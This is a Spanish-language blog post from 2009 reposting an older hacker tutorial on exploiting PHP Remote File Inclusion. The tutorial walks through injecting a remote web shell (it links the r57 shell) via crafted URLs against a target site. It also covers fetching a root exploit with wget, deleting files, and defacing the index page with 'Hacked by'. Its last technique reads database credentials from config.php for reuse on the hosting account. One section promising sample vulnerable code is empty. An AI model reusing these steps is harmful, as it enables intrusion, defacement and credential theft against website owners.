sábado 4 de julio de 2009

Pen-Test: Remote File Inclusion by Nitronet

Este tutorial lo hizo un black hat hacker pero no lo puedo negar que está muy bien explicado lo encontre en google no recuerdo en que pagina pero lo tenia en mi PC y decidi compartirlo, yo pronto haré el mio pero mas extenso para enseñarles algunas cosas de las shell de php.

RFI (REMOTE FILE INCLUSION)
*****16/10/2006******
By NitroNet - wWw.ZeroHack.Net

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~INDICE~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1-# ¿Que es el RFI?
2-# ¿Donde se suelen encontrar los Bugs?
3-# ¿Que es una shell?
3-# Explotación de la Falla
4-# Algunos Comandos Linux
5-# Poner tu Index
7-# Ver User y pass de MySQL
8-# Sitios de Vulnerabilidades
9-# Despedida

~~~~~~~~~~~~~~~~~~~~
1-# ¿Que es el RFI?
~~~~~~~~~~~~~~~~~~~~
El RFI (Remote File Inclusion) permite incluir archivos remotos
mediante una shell.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2-# ¿Donde se suelen encontrar los Bugs?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
La mayoria de las vulnerabilidades se suelen encontrar
en codigos como esto:

~~~~~~~~~~~~~~~~~~~~~~
3-# ¿Que es una shell?
~~~~~~~~~~~~~~~~~~~~~~
Existen dos shells, las de sistema como en Win, MSDos y en Linux la Terminal.
En este caso para hacer el RFI nos referimos a una shell codeada en php.
Estas shells nos permiten ejecutar comandos en el server.
En la red podemos conseguir distintas shells, aki haremos un code php que nos permita
ejecutar comandos linux:

Las shells como dije antes estan codeadas en php, pero para usarlas tenemos ke
subirlas a nuestro server en extension .txt, .gif ya que si las subimos en extension .php
se ejecutarian en nuestro servevidor porke el php es un lenguaje al lado del servidor, osea
que tu navegador no interpreta el codigo, sino el server.
Les recomiendo la r57shell, aki se la dejo lista para usar jeje:
http://usuarios.lycos.es/teamzer0/shells/r57.txt

~~~~~~~~~~~~~~~~~~~~~~~~~~~
4-# Explotación de la Falla
~~~~~~~~~~~~~~~~~~~~~~~~~~~
En el caso de la falla de antes, se explotaria de este modo:
http://www.paginaqueatacamos.com/archivovulnerable.php?page=http://urldetuserver/nombreshell.txt
Ahora para ejecutar comandos linux añadiriamos lo siguiente:
http://www.paginaqueatacamos.com/archivovulnerable.php?page=http://urldetuserver/nombreshell.txt?&cmd=comandolinux
¿Porque page (archivovulnerable.php?page=)?
page define a la llamada remota, en este caso $page.
Ahora les pondre otra falla y tambien les pondre como explotarla para ke vayan entendiendo mejor.
Codigo:
include_once($ADODB_DIR."/archivovulnerable.html");
En este caso la llamada remota seria $ADODB_DIR, asi que se explotaria
de la siguiente manera:
http://www.paginaqueatacamos.com/archivovulnerable.php?ADODB_DIR=http://urldetuserver/nombreshell.txt?&cmd=comandolinux
Espero que con todos estos ejemplos los vayan entendiendo ;)

~~~~~~~~~~~~~~~~~~~~~~~~~~~
5-# Algunos Comandos Linux
~~~~~~~~~~~~~~~~~~~~~~~~~~~
cd -->> Nos Permite Saltar de Directorio
ls -->> Nos Permite tener Obtener un listado de los Archivos
cat -->> Sirve para visualizar la estructura y codigo de un archivo
wget -->> Comando para subir archivos. Ejemplo: wget usuarios.lycos.es/teamzer0/rootexploits/uselib24
rm -->> Sirve para borrar archivos. Ejemplo: rm config.php
mkdir -->> Sirve para crear directorios. Ejemplo: mkdir tx15
./archivo -->> ejecutamos un archivo
uname -a -->> Muestra Informacion del Servidor
pwd -->> Nos muestra en el directorio que estamos
Despues si kieren saber mas, utilizen el amigo google :=D
~~~~~~~~~~~~~~~~~~
6-# Poner tu Index
~~~~~~~~~~~~~~~~~~
Weno ahora la mayoria de las shells mas conocidas (r57, c99, etc..) traen uploader y pueden subir
su index facilmente, solo tendriamos que borrar el que esta en el server y sustituirle por el nuestro.
Si solo quieren poner Hacked by Nick tambien pueden hacer lo siguiente:
http://www.paginaqueatacamos.com/archivovulnerable.php?ADODB_DIR=http://urldetuserver/nombreshell.txt?&cmd=echo Hacked by Tu Nick >index.php
Hay mandamos "Hacked by Tu Nick" al index.php

~~~~~~~~~~~~~~~~~~~~~~~~~~~~
7-# Ver User y pass de MySQL
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
El User y pass de MySQL suele estar en el archivo config.php
Para ver los datos ariamos asi:
cat config.php
Nos saldria el codigo del config.php, parecido a esto:
$host="www.laweb.com";
$user_database = "NitroNet";
$password_database = "zerohack";
$base_datos="muajaja";
Serian los siguientes datos:
Host de la base de datos: www.laweb.com
User de la base de datos: txis
Password de la base de datos: zerohack
Nombre base de datos: muajaja
Muchas veces estos datos suelen ayudarnos, ya que igual el admin pone
los mismos datos que el ftp y tenemos acceso a todo el hosting y hacer lo que keramos :D

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
8-# Sitios de Vulnerabilidades
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
www.securityfocus.com
www.milw0rm.com
En estos sitios y mas sitios que hay en la red, la gente suele publicar sus
vulnerabilidades descubiertas por ellos, en las que incluyen:
-El codigo donde esta la falla
-La explotacion
-Bastantes veces la busqueda en google.

~~~~~~~~~~~~~
9-# Despedida
~~~~~~~~~~~~~
Weno espero que les aya gustado el tutorial y los que no sabian hacer este
metodo que ayan aprendido de una vez o ayan resuelto alguna duda.
Si tienen alguna duda, preguntenla y intentare repondersela
lo antes posible para que lo entiendan.
######################



Saludos
Dr.White